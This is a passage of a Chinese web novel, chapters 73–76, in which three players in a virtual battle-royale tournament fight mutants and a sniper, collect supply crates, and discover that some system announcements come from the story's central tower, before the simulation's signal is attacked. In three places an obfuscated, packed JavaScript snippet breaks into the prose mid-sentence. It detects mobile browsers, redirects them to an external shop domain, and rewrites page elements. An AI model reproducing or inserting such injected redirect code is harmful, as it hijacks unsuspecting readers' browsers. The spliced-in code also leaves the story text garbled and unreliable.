十几个银白色的箱子堆在地上，周围暂时没有人，也没有异种，她的枪里只剩下两发弹药，绝对要用在最需要的地方。 …… 苏益文感觉这辈子都没有跑得这么快过，可就算这样，张三还是一直领先他一个身位，让他开始怀疑对方是不是在迁就他的速度。 但瑞思拜只有一个人，遇到其他选手倒还好，要是遇到异种可就不太好处理了，他们得快点拿到东西回去。 “张三，要不要看一下……”周围的情况。 两人已经迅速接近了物资点，苏益文刚刚慢下脚步，想要观察一下周边的情况，就看到张三一个人，宛如离弦之箭般冲向了两座楼房之间的空地。 不得不说，每次的物资投放点都很不错，周围视野开阔，没有什么遮挡物，选手们想要拿东西，要不就是来早点，要不就是打一架，总之八仙过海各显神通，没什么可以使小聪明的空间。 苏益文连忙跟了上去，摸起两个箱子就要回头，但比他快一步的人却没有一起回头。 “怎么了？”他精神紧张，正要放出异能，就听见这人掂了掂手里的箱子，又放下换了一个，一直在重复这个操作，直到摸了五六个箱子才停下。 “你怎么还在这？”傅燃转过身，看见苏益文满头问号地看着自己，拧起了眉头，“拿了东西不赶紧回去，愣着干什么。” 苏益文气得脸都鼓起来，他还担心遇到了问题，结果还被人反咬一口，太过分了！ 看到两人开始往回走，简初不禁松了口气，有一群异种已经快要摸到物资点的位置，幸好他们动作快，免去了一番苦战，她收起枪，就要下去跟他们汇合，但就在她起身的一瞬间，窗户玻璃陡然炸裂，一枚子弹带着破碎的玻璃碴子向简初飞来。 简初迅速后仰，硬生生倒在地上，勉强躲过了这一下，她微微扬起脑袋，头顶着地板看向后方墙壁的弹孔，上面正慢慢悠悠冒出一缕烟来。 子弹是从南边过来的，位置比她要高一点，精神力迅速窜了出去，看到一个安静呆在原地的光点，它没有移动，大概率还在瞄着她。 想到这里，简初在地上滚了一圈，没有让自己的脑袋超出窗沿的高度，这个位置已经不安全了，对方已经抢占先机，她此时没办法伸出狙瞄过去，而由低打高更是落了下风。 得换个地方。 另一边，傅燃突然停下脚步，他抬头看了一眼不远处的高楼，又往南方看了看，面色变得凝重起来。 “有枪声，她那边有危险。” 73. 灯下黑（73） “欢迎各位来到第二天的实况转播现场！”爱丽丝精神饱满地开口，情绪感染十分到位，“刚刚大家也听到异种投放的播报，看来刚开播就要看到刺激的大场面了。” “这一批投放的异种强度明显和之前不一样……啊！我们可以看到有一队位置比较靠外的选手，直接和异种群正面对上了！我的天，根本没有还手之力！” “在外围逗留的选手应该是为了刷分，但没有想到投放的异种不管是数量还是强度，都远超预期，现在的外圈已经称得上是死亡之地了，不过异种们的行动速度不算离谱，选手们还有逃脱的机会，大家也发现了不对，开始不约而同往内圈走了。” 大屏幕的镜头堪称死亡镜头，拍到哪死到哪，看的观众们心口直颤。 “不少选手选择了放弃物资，直接往救援点的方向走，有点可惜了，其实物资投放点和异种群还是有一点距离的，只要动作快其实完全来得及。” “我们看到傅燃和苏益文已经拿到了物资箱，并且顺利回头了，一路上没有异种也没有其他选手，真的是非常顺利，就是剩下那一堆箱子没人拿，我看着都有点心疼。”白羽语气忧伤，上帝视角的观众们看着也有一些不满。 这一批选手也太胆小了吧。 “不过没有精神力的辅助，其实大多数选手是无法了解异种的动向的，这时候就突显出队伍中有一个擅长此道的人的重要性了。”爱丽丝解释道，“简初选手给其他两人提供的信息可以说是一个定心丸，他们可以完全放心地动手，诶，导播给了一个远镜头，这是……” “砰！” 爱丽丝话音未落，主屏幕就传出一声枪响，画面中央的简初瞬间消失。 “有选手发现她了！此时团队里的另外两名作战主力还没有回来！简初同学要怎么应对这场危机呢！” …… 傅燃话音未落，脚下却转了个方向，直奔身边的楼房，这已经是附近最高的一栋楼了。 “你别过来，去她那边支援。”见苏益文就要跟上，他立刻回头，“小心点，南边那栋楼有狙击手，你从背面走。” 两人兵分两路，傅燃直接沿着外墙攀到楼顶，借着屋顶的斜面隐藏自己的身形，确认位置可以，他重新缩回去打开一个物资箱，里面赫然就是之前得到的同款轻狙。 他安静地趴在屋顶，透过狙击枪的瞄准镜看向简初所在的那栋楼，从上到下一个个窗口瞄过去，并没有看到人，只是顶楼的窗户玻璃碎了，应该就是简初之前待的地方。 人一直没有冒头，说明南边的狙击手还在瞄准她，不过暂时还没有大碍。 确认了这一点，傅燃下意识松了口气，小心缓慢地挪动位置，将枪口调转，很快，一个极其容易被忽视的黑色枪管在日光下反射出一道转瞬即逝的反光，被他准确捕捉到。 “砰！” 他毫不犹豫扣动扳机，击中了它。 …… 简初原地翻了个身，匍匐着爬到墙角，这一间屋子的窗户和门正好对着，她想了想，从旁边的柜子上拆下一块木板，手一甩，木片便迅速飞了出去，在到达窗户中心的瞬间，又一颗子弹准确击中了它，将其弹飞在门板上。 那人还一直盯着这边，她不能从门走。 她将目光投向另一边的小窗。这是一扇落地窗，但只有上半部分能打开，透过斑驳脏污的玻璃，可以看到外墙有一小节凸出来的墙体，刚刚好可以落脚，但是想要从那个角度用狙，只能单手，而且还得是左手。 虽说这是一把轻型狙，但想要单手瞄准还是有一点困难的，况且要是对方一直不露头，她也不能一直举着啊。 但既然有方法，不试一试就放弃，显然不是简初的作风，她将狙击枪扛在左肩弓着身子前倾，伸手将旁边的柜子用力推向窗户，“噗”的一声闷响，一颗子弹擦着柜子边缘射了进来，柜体遮住了一部分视线，方便简初下一步行动。 她动作加快，直接攀着窗沿一跃而起，像一只壁虎紧紧贴在楼房外墙，凸出的外沿在里头看起来还挺宽，真的站上去才发现只能勉强站住半个脚掌，简初右手用力扒着窗框，左肩一沉，狙击枪就像一条听话的小蛇，“哧溜”一下钻进了她的手掌。 狙击手的光点还在那个位置没有移动，周围没有其他人，看起来像一只独狼，但有可能，他的队友也去物资点了。 简初看到傅燃和苏益文突然分开，一人留在了原地，而另一人正在往自己所在的地方飞速赶来，她搜索了一下记忆中的地图，傅燃的光点应该位于西侧的一栋楼房。 他又拿到狙了？ 想到这个可能，简初眯了眯眼，不再犹豫，身体微微后仰，全部依靠右手与双脚的支点，瞄准镜里，一截短短的枪口正与准星重叠。 傅燃的位置比她要更在侧面，瞄准会更加困难，想到这里，她微微向上抬了一厘，瞄准枪管之后，黑洞洞的窗口。 “砰！” 伴随着一声枪响，瞄准镜中的黑色枪管爆出火花，一个黄毛脑袋在窗户后头冒了个尖，简初毫不犹豫地扣动扳机，装甲弹几乎紧随着前一声枪响射出，穿透了狙击手的脑袋，光点闪了两下，消失在原地。 “呼——” 简初松了口气，重新将狙击枪背在身上，两手撑着窗沿，迅速翻回了屋内。 “跑得有点慢啊。”她甩甩胳膊，冲着刚刚跑上顶楼，还有些气喘的苏益文说道。 “你……你还好吧。”苏益文一眼就看到墙壁上的弹孔，他刚刚在楼梯上听到了枪声，还以为没赶上，现在看来，确实也是没赶上。 这里根本不需要他啊！ “等张三回来，我们赶紧往图书馆撤。”简初双手合十，互相摩擦了两下，“外围的异种数量有些太多了，而且还在慢慢往里面扩散，落在异种群的选手基本都被淘汰了，这一波的强度估计不小，还是谨慎点为好。” 苏益文将两个物资箱摆在地上：“听你的，先等张三回来，咱们看看都拿了些什么东西吧。” “他拿箱子还磨叽了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13071938|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也不知道是在干什么。”他嘟囔了一句。 简初闻言疑惑地看过来：“你们遇到其他人了吗？还是什么情况？” “没有遇到人，就是他好像在挑箱子？但是我没看出来物资箱有什么区别。”苏益文回想了一下当时的场景，又确定地点点头，“他应该是在挑箱子。” 正当两人交流之间，傅燃提着两个物资箱回到了这里，他先是看了一眼简初，发现她并没有受伤，转而又看了眼苏益文……带回来的物资箱。 很好，都没问题。 苏益文：“……” 根本没有人关心他，他要闹了。 “这是你的。”傅燃走过来，将右手的箱子放到简初跟前，借着面色平静地转过头，把另外三个箱子整齐排在一起，依次打开。 简初茫然地接过箱子，但心下已经有了猜想，她下意识屏住呼吸，打开物资箱，一把漂亮的轻型狙赫然出现在眼前。 跟她手里的那把一模一样。 苏益文眼睛都要掉出来了，他一脸不敢置信地看看箱子，又看看简初背上的狙，又猛然转过头看向傅燃：“……这这这，你怎么找到一样的？你的异能吗？” “没有，重量一样，就带回来看看。”傅燃低着头随口答道，看上去这只是随手一件小事，他从箱子里拿出激光刀，挥舞了两下试试手，就把他的铁棍替换了，“你之前不是说用的还行。” “呃，我是说过。”简初语塞。 那是没想到你真的能给弄到。 这次运气不错，每人的武器都得到了更新，剩下一个物资箱刚好够他们接下来一天吃的。 简初手里还剩下最后一颗装甲弹，刚刚傅燃那边整好用了一颗，两边合一合正好又是十二颗，这对强迫症非常友好。 “要去那个狙击手那边看看吗，到现在还没有人去找他，可能是个独狼，正好去搜一下物资。”简初囤囤鼠属性大爆发，对方留下的“遗产”可不能就这么浪费了。 …… “啊，这两位真的配合得很好，要不是知道他们没有办法保持联络，我都怀疑是有协商过战术。”爱丽丝赞叹了一声，“可惜了，贾同学马失前蹄，选错了目标，遗憾淘汰。” “就连留下来的物资也造福了对手啊。”白羽无奈地摇摇头。 “截止目前，场内还剩余1263名选手，这个节奏真的非常快，第一个24小时还没有过去，就只剩下不到三分之一的选手了。” 爱丽丝对当前的情况做了一个简单的总结。 “按照这个淘汰率，辉城的这个对抗场景难度应该算是顶尖的那一批了，不过目前我们可以看到，主剧情并没有什么大的突破，选手们还是以击杀异种和淘汰他人来得分。” “虽然夜间有几位选手也触发了支线任务，但是目前并没有什么进展，相比之下，简初选手团队内部的推论反而是比较有价值的。”白羽说道，“但因为缺少实际的佐证，我们也无从得知事情的真相，只能期待选手们后续的表现。” 74. 灯下黑（74） “这条是最近的路线，正好还能简单刷点异种。”三个人装备齐全，排成一溜迅速穿行在拥挤的街道，仿佛推土机一样无情碾压路上遇到的所有异种。 简初非常讨巧地挑选了一些落单的异种，保证己方力量不受什么损失的情况下，又能迅速刷分，同时还往目的地前进，一举三得。 她正想要说什么，就看到远处的街道上游荡出两个黑黢黢的大家伙，就算这么远的距离看起来只有一小点，也能感觉到危险。 它们的光点是被标注过的红色，也就是刚刚才被投放的异种。 “啊这……”苏益文吸了口凉气，“看起来有点难缠啊。” 两只看起来像巨型螳螂的异种，远远看去得有两人高，小臂是镰刀状，有半人长，全身都是黑亮亮的金属色，在逐渐明亮的街道十分显眼。 “这外壳，看起来很结实啊，能击穿吗？”苏益文有些不确定地开口。 “是刚刚投放的那一批异种。”简初提醒道，此时三人正排成一溜躲在街边的电线杆后头，暂时还没被两只异种发现。 “杀不杀？”傅燃回过头，询问简初的意见，搞得她有些茫然，只当是对方需要她的协助。 “可以试试，正好摸摸它们实力到底是什么水平。”简初借着废弃的车辆架起狙击枪，“不过要是难对付，就得赶紧撤。” 她从刚刚开始，就有一种不妙的预感。 …… “现在吗？是不是太匆忙了？”无影一脸震惊，听着面前的人传达上级的指令。 “你问我我问谁啊？”来人苦着脸，“你们都这么问，我也想知道，但上头确实是这么安排的，总之你们做好准备吧。” 那人传达完消息就急匆匆走了，好像晚一步就会被人按在地上暴揍。 “上级的心思你别猜，猜来猜去要坏菜。”无影身边的同事痛饮一口不明药剂，嘴里念念有词。 无影想去找路亚询问情况，但却发现周围的气氛有些不对劲，操控室内突然出现了好几个生面孔，看起来只是随意走走，却正好堵住了他们通向办公室的走道。 不知道是防着他们进去，还是……防着里面的人出来。 他的屁股在椅子上不安地挪了挪，最终还是没有站起来。 爆破索引只是一瞬间的事，那个小小的按钮，轻轻一按，就是一切行动的开端，但事情并没有这么简单，任务一旦开始，就需要这里所有人协同与乌托邦的修复程序进行对冲，否则效果根本维持不了多久。 想必也正因如此，约瑟夫才没有直接把爆破按钮抢走。 可他不知道，此时路亚的办公室内早已经空无一人。 …… “斗胆问一下，你射击是怎么练的。”苏益文把激光枪举起，做了个瞄准的姿势，“那道骨缝那么窄，你竟然一下就打中了。” 多亏了那一波物资补给，这两只异种的外骨骼坚硬非常，穿/甲弹只能在上面造成一点皮损，想要伤到内里还是得靠激光武器。 傅燃直接按灭激光刀的按钮，穿透异种胸腹之间夹缝的激光瞬间熄灭，免去了他费劲拔刀。 “菜就多练。”简初耸耸肩，随手把还烫手的激光枪扔回苏益文怀里，他下意识结接过。 “嗷！好烫！”苏益文把激光枪在手里炒成了三菜一汤，才好不容易捏着枪把，抹了抹头上的虚汗。 “这批异种如果都是这样，确实很难处理，看来确实是为了让我们早点进入救援点。”傅燃提着螳螂的镰刀小臂敲了敲，发出沉闷的响声，“再多两只我们就得跑了。” 激光武器有功率限制，禁不起短时间内的高强度使用。 “那赶紧走吧。” 三人就这样带着大大小小的包裹，仿佛进城探亲一样走在路上，再配上几人有些破烂的衣物，连导播都没忍心把这一幕投到主屏。 …… 安全区域的边界已经完全模糊，并且逐渐往里收缩，异种们的行动并不可控，它们会按照本能往密度较低的方位前进。 图书馆内部此刻已经聚集了不少人，大部分选手都选择以最快的速度赶到了救援点，跟大家想象的不同，辉城图书馆并不破旧，相反，它的主建筑完全可以称一句气势恢宏，高大的门头老远就能看见。 这里的人看上去一样落魄，身上都有不少异种的体/液，整个图书馆大厅闻起来都有些臭臭的。而选手们的小团体泾渭分明，各自占据了一块地方，正用警惕而探究的眼神打量着周围的人。 尽管只有大约四分之一的概率，但那个推进了剧情线的选手或许就在他们之中。 “别看了，这么多人，还都长得奇奇怪怪，怎么可能找到。”左虞珩坐在墙角叹了口气。 他身边的秦理正睁着一双眼睛到处看，可惜并没有发现什么。 “这里人太多了，要是少一点我肯定能找到。” “他们在不在这个点都未必，这不是白费力气吗？”左虞衡摇摇头。 “可是这会也没事做，”秦理无聊地扣扣手上的血痂，一不小心把它扣掉了，手背又渗出血来，“随便看看。” 左虞衡：“……” “你下手轻点。”他最终还是没忍住，脸皱成一团，拍开了秦理互相倒腾的爪子，不知道的以为是在抠他的伤口。 “哦……”秦理扁扁嘴，把手放下了，“要等到什么时候啊，你说这会要是有人往这儿扔个炸弹，咱们是不是就都……” “轰！” 一声巨响，磅礴的气浪直接破开了图书馆的大门，延伸到顶部的镂花玻璃不住地抖动，“砰”的一声炸开，叮铃咣啷掉了一地。 “没了。”秦理茫然地吐出最后两个字，“真炸了？” 乌托邦的系统播报姗姗来迟，回响在所有选手的耳边。 “未知的异动切断了救援队与中心塔的联络，如今所有人都被困在辉城无法脱身，无数的异种虎视眈眈，一点点蚕食着幸存者们最后的生存空间，现在还有一个方法可以离开这里，但并不是所有人都可以拥有一席之地。” “第二阶段阵营战已开启，此阶段淘汰其余阵营选手积分倍率为3，淘汰同阵营选手每多一名，扣分倍率乘2，封顶为10。” “获得场景内钥匙最多的阵营将进入第三阶段。” 图书馆的众人沉默着，接着不约而同抬头看了一眼，跟周围的人对上视线，局势变化太快，原本一直警惕的对手突然成为了暂时的队友，整个大厅的氛围陡然松快起来。 先不论第三阶段是什么安排，至少现在，他们之间是最值得信赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13116555|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伙伴。 …… “怎么就开始了，我们还没到呢！”苏益文茫然地看着不远处的庞然大物，捋了捋被风吹成大背头的发型，“那又是个什么东西啊？” 沉积在地面的尘沙被一下扬起，简初抹了抹眉毛，呸了两声吐出嘴里的沙子，感觉嘴里干净了才要开口说话。 “叮——逃生舱已投放。” 头顶的天幕传来一声悠远清脆的提示声，随之而来响在耳边的系统播报让简初的表情骤然难看下来。 “异种的孵化进程已经无法阻挡，强大的猎杀者会追寻着气味，找到每一个可以威胁它的所在。” “支线任务：中断异种孵化（已失败）。” “任务更新：在异种的猎杀下存活，并尽可能收集更多的钥匙。” “特殊阵营不参与此次阵营战。” 系统叮叮当当在她耳边说了一大串，才堪堪收了声息。 “果然被单独分出来了。”傅燃说道，“现在去图书馆已经不合适了，很容易被当做敌对阵营的人，要去看看吗，刚刚掉下来的那个东西。” 他看向简初，却发现这人眉头紧锁，不知道在想什么。 “怎么了？有什么不对吗？”他最后还是没能喊出那个奇怪的名字。 “嗯。”简初低低应了一声，“先找个高处看看吧。” 其他几个阵营人数要多得多，机动性远不如他们三个，逃生舱的落点差不多在四个救援点的中点，但他们并不需要赶过去，只需要找一个视野开阔的高处。 虽然他们此时处在被异种追杀的位置，但优势在于其他阵营的人并不知道他们的存在，这是一个有操作空间的地方。 三人不再多说，迅速来到了最近的制高点，从高处望下去，中心的落点仍然被薄薄的烟尘笼罩，模糊勾勒出逃生舱的形状。 “看上去有点小啊。”苏益文眯着眼说道，转过头就看见简初已经掏出狙击枪的倍镜放在眼前。 白色的逃生舱已经覆盖了一层黄土，变得有些脏兮兮的，但并不影响从外观来确认它的形制，说是逃生舱，其实是一架大型运输机，看这大肚子应该能容下不少人，可对于选手们来说还是太少了。 “看上去最多只能装二十几个人。”简初说着，一边移动倍镜，看向其他的部位，“门是锁着的，看来需要钥匙，可能跟系统播报里的‘钥匙’有关联。” 等等，尾巴上好像写了什么字？ 简初下意识又往前倾了倾，逃生舱的后半部有一串字符，就算被尘土遮住了一部分，也能辨认上面写的内容。 CT－77629，是运输机的编号？ “有人过来了，我们先走。”精神力扫描下，光点们开始一批批离开救援点，其中有选手往他们的位置过来了，这是附近视线最好的地方，其他人想到也不奇怪。 下去比上来简单得多，简初收起倍镜，三人动作轻快而又迅速，直接从窗户翻越到了隔壁楼的楼顶，躲开了一切可能会发现他们的视线。 “逃生舱是中心塔投放的。”简初突然低声开口，也不等另外两人回答，就自顾自地说了下去，“这个系统播报，有大问题。” 她终于捕捉到了那一丝违和。 ——场景里的系统播报，有两个。 75. 灯下黑（75） 时间重新来到开场，所有选手刚刚登入乌托邦的时刻。 从耳边响起的系统旁白，选手们得到了关于“辉城”一些简单背景，也许其中隐藏了一些重要信息，但这不是我们现在该思考的问题。 接着来到第一批物资投放的时间，系统播报第二次出现，但这次，有一些细微的不同。 傅燃安静地听着，表情有些凝重，尽管他们此刻并没有发现有什么问题，但简初的语气十分严肃，让人不禁跟着开始思考，同样在思考的，还有主会场的观众们。 简初伸手指了指自己的耳朵：“这次的系统播报，不在耳边。” 乌托邦的精神链接技术决定了，系统通知可以直接传输到他们的大脑中，具体表现为“听到”声音。 “直到这里也许还能用巧合来解释，但触发支线的全场播报，却是像开场旁白一样，直接出现在了耳边。” “投放异种的通知来自天幕。” “阵营战的通知在耳边。” “逃生舱的通知来自天幕。” 简初的话如同一道闪电，直接贯穿了傅燃的大脑，他嘴唇微微颤动，说出了下一句话：“特殊阵营的任务通知，出现在耳边。” 这句话之后，三人陷入了沉默，正如主会场此刻凝滞的气氛，直到乌托邦的系统播报再一次响起。 “有选手破解场景核心设定，触发主线剧情。” 与此同时，他们的特殊阵营任务再一次刷新，下面多出了一条“主线任务”。 “恭喜触发主线，主剧情推进贡献度30%，请再接再厉。” “主线任务（全员共享）：消灭？？？” 与支线不同，主线剧情的发展进度是由全场选手共享的，如果仅仅由触发者来做，那么她与其他选手的积分差距将永远无法抹消。 这个？？？也许就是追杀他们的异种，由于还没有露过面，所以处于保密状态。 “等等，你的意思是有两个系统？”苏益文的大脑陷入混乱，瑞思拜说的每个字他都听得懂，但组合在一起却让人茫然，“分两个系统有什么意义？这不是多此一举……” “另一个系统播报不是来自乌托邦。”傅燃用力闭了闭眼，“那是剧情线里的，场内播报。” …… 两位解说陷入失语，在他们近十年的虚拟对抗解说生涯中，很少会出现这样的事情。 “我觉得需要重播一下刚刚那段。”白羽的声音有些干涩，但没有人提出意见，很快，大屏幕上再次出现了简初认真的面孔，这一次，观众们不再以第三视角旁观他们的对话。 镜头正对着简初，她漆黑的眼睛就这么直直看向在场所有的观众，以讲述故事的口吻，重复了那一段话。 这一遍放完，场内依旧是一片寂静。 “让我们先恭喜简初选手，触发了主线剧情。”爱丽丝的话仿佛打开了什么缺口，观众席瞬间爆发出洪流般的讨论声，线上直播已经被评论刷满，看不清人脸。 “我疯了还是乌托邦疯了？！这就30%了，还有人能超过她吗？” “先不提这个，她说的是什么意思，剧情线内的场内播报又是什么意思？” “好好好，今年这么玩？” “前面的，剧情线内的场内播报也不懂？就不是乌托邦给的播报啊！” “前面好像说了句废话。” “现在还有不少观众没有搞清情况，我想我们需要解释一下，白羽？”爱丽丝提醒了一声，白羽才如梦初醒。 “啊，是的，很抱歉，这个画面真的太有冲击了，常看虚拟对抗赛的人应该可以理解我。”白羽无奈地摇摇头，“按照简初选手的说法，目前我们在对抗赛里听到的所有系统播报，实际有两个完全不同的来源，其中之一是乌托邦，大家都能理解，但另一个，就是剧情线里的场内播报。” “就是说，物资、异种、逃生舱的投放，都是来自于辉城的主线剧情之中。” …… “不是，能不能说简单点？”苏益文简直就是现场观众的嘴替，但这不能怪他，正是因为打过太多虚拟对抗，已经养成了一套行为习惯，反而没办法仔细思考细节。 “除了有关比赛的通知，其他系统播报都是来自于剧情线内的中心塔。”简初直接点明，“包括物资投放、异种投放，以及刚刚的逃生舱，它的尾部有一串编码，显示其来自于中心塔。” 苏益文小跑着到她前头，非常好奇地询问：“怎么可能，中心塔为什么会投放异种，他们没理由做这种事啊？” 甚至还派了救援队来，这完全矛盾了。 “辉城也许真的是一个巨大的实验场，而我们是其中的实验品，中心塔向里面投放物资和异种，就是为了观察我们。”傅燃说道。 “观察……什么？” “观察异种是怎么行动的，人类在面对绝境时会做出怎样的反应，亲密关系是否会因此分崩离析，反抗异种的人拥有怎样的特征……”简初随口一说，惹来另外两人炯炯的视线。 早就说了，笔给她，让她写！ “这就是一个完整的仿生态的封闭实验室，自然状态下生活的人类，突然出现的异种，挣扎求生的异能者，来自外界的救援队，要素倒还挺齐全的。” “我们的阵营支线还在，还是得找钥匙好像没有明说钥匙是什么。”傅燃顺着简初的思路，开始研究下一步的行动计划，“孵化已经完成，不管它是怎么将我们和其他人区分开来的，总之现在我们是在追杀名单上。” 而这张名单上的人寥寥无几，运气差点说不定过会就要开始大逃杀了。 …… “我从来没有在正式比赛中见过这种情况。”白羽咋舌道，“一来剧情类场景被抽中的概率很低，二来正式比赛中因为时间的限制，直接杀异种和淘汰其他选手的性价比要高得多。” 没有人会去做推剧情这种费力不讨好的事。 “因为选择推进剧情需要承担相当高的风险，在正式比赛中这也许是致命的。”爱丽丝附和道，“其他选手此刻应该都在想，幸好这不是决赛，否则已经有人一只脚跨上冠军宝座了。” “不少选手们此刻的表情都很茫然啊，不过如果是我突然听到这么个通知，脑子也会转不过来的。” “现在大家相当于被强行拉入了主线，不同于简初三人，其他选手并不知道主线触发的前因后果，所以会显得十分被动。”白羽说道，“作为触发任务的一方，简初他们还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13138831|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占了优势的。” 作为专业解说，职业素养要求他们不能在如此大前期，就说出“某某选手已经确定出线”的定论。 虽然大家都能看出来。 “接下来让我们看看……”白羽话音未落，会场内巨大的主屏突然“哔”的一声熄灭了，“信号搜索中”几个字一闪而过，随之而来的是观众席上如潮水一样涌来的不满。 “请大家稍安勿躁，正在和后台导播紧急联系，应该是信号接收不良……”爱丽丝连忙安抚道，但很快，她脸上的笑容几乎都挂不住了。 两人无措地对视一眼，只觉得浑身的血液都被冻结，四肢百骸全都失去了温度和气力，耳机里导播的声音还在喋喋不休，跟观众们的呼声汇合在一起，让人感到呼吸不畅。 “控场控场，乌托邦出了些小问题，选手们暂时断联，赶紧控场！” 爱丽丝已经以最快的速度调整好表情，在这之下却掩藏着前所未有的惶恐，大屏仍然一片黑暗，此时唯有一个办法——拖。 拖延时间，等技术人员找到问题，将一切恢复正常。 不同于主会场的遮遮掩掩，各大院校的登入现场已经进入紧急状态。 后台监测人员第一个发现不对劲，所有在线选手的监控屏幕在同一时间卡死，这完全不是信号不良的表现，更何况他们正处在学生们登陆的第一现场，信号已经是顶顶好的了。 但根本没有给他们上报问题的时间，卡死的屏幕大批大批地熄灭，无数的“信号断联”显示在各个监控屏中，只有生物电波上平稳的生命体征，显示着学生们暂无大碍。 “怎么回事？”席如风匆忙赶到后台，一路上她早已安排后勤和医疗人员，直接进入房间内查看学生们的情况，但目前得到的反馈并不算好。 赛方到现在都没有传来消息，但现在明眼人都能看出情况很不对劲，自从八年前乌托邦进行全量系统迭代后，从来没有出现过信号方面的问题，最重要的是，这次的紧急情况是突然发生的，就连乌托邦都没来得及发出预警。 “星网的其余信道均无故障。”技术人员很快得出结论，但现场没有一个人因为这个消息松口气，一个个的面色肉眼可见地苍白起来。 这绝对不是一场意外。 席如风突然对“最后一届模拟大赛”有了更加深刻的认知。 联邦近三年的年轻血液全部都落在了乌托邦，此刻没有被淘汰的，几乎都是最顶尖的那一批学生，如果他们出了什么闪失，联邦军部将会面临一个可怕的空窗期。 这不仅仅是缺了三届的学生那么简单，他们之中有多少几十年都难得一见的顶尖资质，想要等到下一个不知道要猴年马月。 “目前学生们的生命体征都很平稳，登入舱的强制脱出按钮还在工作中，但我们不敢随便动。”后勤部的负责人面露难色，这已经不是她能做出决定的场合了。 这种情况几乎没有先例，如果因为他们随意操作，导致选手们出现精神力游离，从而脱离原本的坐标，那就是大事故了。 “先别动，等我……”席如风话还没说完，就被人匆忙打断。 “校长！赛方有消息了！比赛场景的信道坐标受到了攻击！乌托邦正在全力修复！” 76. 灯下黑（76） 斯塔集团的研究所电梯内，两拨人正不约而同抬头看向上方的楼层显示。 “因博士的意思我已经转达到了，这是她与米勒尔先生联合签署的审批书，这一次我们是专程来取数据的。” 为首是一个戴着眼镜的女性，头发一丝不苟地盘在脑后，看起来充满书卷气，她身后还跟着两男两女，看装束应该是研究所安排的保镖。 女子将手里的纸张递给崔斯特，等待着对方的回应。 崔斯特当然早已受到米勒尔的嘱托，不过研究所为了取个数据，就让李瑞千亲自带人过来，倒是出乎他的意料。 “辛苦李特助，米勒尔先生已经跟我交代过了，研究所的数据保存都很谨慎，还劳烦你们跟我一起前往实验室。” 交流间，电梯停止在了46层，电梯门打开，映入眼帘的就是一块小小的牌子，上书“机密实验室”，而实际上，这里几乎算是崔斯特专用的办公场地。 他为米勒尔做的所有不太能见光的事，都借着机密项目的名义，将核心数据存放在这里。 “请随我进来。”崔斯特示意手下开门，但却被突然的来电绊住了脚步。 他为难地看了眼终端，朝李瑞千一行人露出抱歉的笑容：“抱歉，请各位在里面稍坐片刻，我接个通讯。” 这个时候能够打断他的，只有一个人了。 李瑞千低头看看表，微微颔首表示同意，门内侧的等候区正好被他们一行人塞满，崔斯特的两名下属正陪同着，说是陪同，其实更重要的是防止他们做出一些不恰当的行为。 崔斯特习惯性地远离大门，侧过身接通了通讯。 “你那边情况如何？”地下研究所的信号一般，米勒尔的声音有一些失真，但崔斯特仍然从其中捕捉到了一丝焦躁。 “他们刚刚到我这，还没有进行交接。”崔斯特没有多问别的，只是回答了对方的问题。 “比赛这边出了点情况，你那边少说少做，除了数据交接，其他一概不提，就算他们主动问你，也不要回答。”米勒尔低声说道，“等把人送走之后，尽快到竞技中心来。” “好的，先生。”崔斯特回答道，但下一秒他突然想起什么，连忙阻止了米勒尔挂断通讯。 “先生，有件事要跟您说，这次研究所派来的人是李瑞千，您有什么头绪吗？” 不怪他过于小心，实在是这位女士的名声过于凶残，哪怕他什么都不说，只要她随口问两句，说不定都能瞧出些什么来。 一个没有异能的普通人能坐到这个位置，用脚想都知道是位不得了的人物。 “竟然是她来。”米勒尔也有些惊讶，李瑞千平日里的工作十分繁忙，因思禾所有重要的事都必定由她经手，这会怎么会过来。 难道，因思禾那女人发现了什么？ “他们表现如何？” “很正常。”崔斯特想了想，如此答道。 “嗯……你先不要轻举妄动，一切按照原计划进行，不过对这个女人，一定一定要控制好自己的行为和表情。”米勒尔的声音有些不愉，“她察言观色的能力，已经不是普通人能达到的水平了。” 一番叮嘱过后，崔斯特终于挂断了通讯，他将终端收起，却并没有立刻进入门内，而是伸手拍了拍自己的脸，又揉了揉，调整了一番表情，才转过身。 他走到实验室大门前，生物识别系统从他身上一扫而过，但过了两秒，大门却没有打开。 崔斯特愣了愣，突然感觉到不对劲，迅速跑到侧边的玻璃隔断朝里看，从这个角度看过去，等候区内的人一个不少，看上去正在进行客套的寒暄，没有任何奇怪的地方。 他松了一口气，重新回到生物识别系统面前，只是偶然的识别故障，是他接完通讯后，有点过度紧张了。 …… 六分钟前。 